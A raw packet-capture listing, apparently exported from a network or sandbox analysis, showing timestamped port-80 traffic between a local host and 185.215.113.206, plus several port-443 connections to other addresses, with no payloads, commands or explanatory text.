Nov 12, 2024 17:07:52.730397940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730423927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730498075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730500937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730515003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730528116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730561018 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730597019 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730674982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730719090 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730757952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730770111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730798960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730798960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730830908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730843067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730875969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730942011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.730962038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730974913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.730988026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731002092 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731034994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731034994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731103897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731117010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731159925 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731256962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731333971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731363058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731374979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731386900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731420040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731457949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731508970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731520891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731535912 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731579065 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731579065 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.731607914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.731859922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.765964985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766019106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766031027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766040087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.766093969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.766192913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766235113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.766275883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766288042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766299009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766340017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.766429901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766450882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766462088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766474009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766475916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.766530037 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.766530037 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.766676903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766691923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.766750097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.807100058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.807113886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.807126045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.807156086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.807194948 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.820514917 CET	443	49928	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.820581913 CET	443	49928	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.820656061 CET	49928	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.840653896 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.850449085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850466967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850486040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850519896 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.850555897 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.850598097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850610018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850621939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850636959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850641966 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.850657940 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.850716114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.850752115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850764990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850775957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850831032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.850941896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850954056 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850964069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850976944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850987911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.850991011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851018906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851041079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851243973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851257086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851268053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851284027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851305008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851305008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851336002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851367950 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851378918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851391077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851402044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851413012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851419926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851419926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851438999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851460934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851464987 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851473093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851480961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851485014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851496935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851507902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851511002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851511002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851520061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851572990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851572990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851824045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851901054 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.851973057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851984978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.851995945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852019072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.852052927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.852138042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852154016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852165937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852176905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852202892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.852202892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.852233887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.852435112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852446079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852458000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852468967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852480888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.852497101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.852497101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.852521896 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.856838942 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.861773968 CET	49928	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.861807108 CET	443	49928	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.861820936 CET	49928	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.861828089 CET	443	49928	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.878117085 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.878155947 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.878658056 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.878670931 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.879431009 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.879455090 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.879842043 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.879848957 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.887073994 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.887106895 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.887332916 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.887458086 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.887480021 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.887623072 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.887631893 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.887653112 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.887690067 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.887944937 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.887983084 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.888055086 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.888104916 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.888139963 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.888253927 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.888263941 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.888276100 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.888317108 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.888792992 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.888817072 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.889302969 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.889312983 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.889539003 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.889548063 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.889709949 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.889728069 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.889877081 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.889884949 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.889961958 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:52.889977932 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:52.914365053 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.914407969 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.914625883 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.923310041 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.923337936 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.926587105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926600933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926616907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926687002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.926733971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926745892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926757097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926764011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926817894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.926840067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.926901102 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.926999092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927079916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.927079916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.927160025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927172899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927186012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927198887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927212954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927217960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.927217960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.927225113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927242041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.927270889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.927462101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927474022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927484989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.927519083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.927556992 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.969978094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.969990015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970000029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970012903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970057964 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970084906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970098019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970166922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970287085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970298052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970309973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970338106 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970352888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970434904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970558882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970621109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970747948 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970814943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970829010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970839977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970850945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970863104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970869064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970875978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970887899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970889091 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970904112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970909119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970926046 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970937014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.970944881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.970967054 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.971199989 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.007890940 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.007977009 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.008032084 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.014723063 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.015193939 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.015239000 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.015244961 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.015283108 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.015794039 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.015815020 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.015830994 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.015836000 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.022614002 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.022636890 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.023088932 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.023097038 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.027096033 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.027134895 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.027190924 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.030783892 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.030818939 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.030909061 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.030921936 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.030957937 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.031260967 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.031270027 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.062247038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.067162037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.085124969 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.087168932 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.087193966 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.088133097 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.088140011 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.112621069 CET	443	49926	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:53.113230944 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:53.113245010 CET	443	49926	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:53.114311934 CET	443	49926	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:53.114366055 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:53.114845037 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:53.114903927 CET	443	49926	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:53.155998945 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.157255888 CET	49934	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.157265902 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.157845020 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:53.157857895 CET	443	49926	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:53.158314943 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.158376932 CET	49934	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.159991980 CET	49934	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.160059929 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.160703897 CET	49934	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.160712004 CET	443	49934	108.156.211.59	192.168.2.6
Nov 12, 2024 17:07:53.212460041 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:53.212487936 CET	49934	443	192.168.2.6	108.156.211.59
Nov 12, 2024 17:07:53.237864971 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.237890959 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.237942934 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.237943888 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.238014936 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.238234043 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.238254070 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.238269091 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.238275051 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.240969896 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.240998030 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.241282940 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.241466045 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.241477966 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.334800005 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.335182905 CET	49933	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:53.335203886 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.336261988 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.336330891 CET	49933	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:53.337449074 CET	49933	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:53.337512016 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.337740898 CET	49933	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:53.337749004 CET	443	49933	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:53.348983049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349035025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349047899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349080086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349103928 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.349149942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349169970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349183083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349194050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.349208117 CET	80	49859	185.215.113.206	192.168.2.6
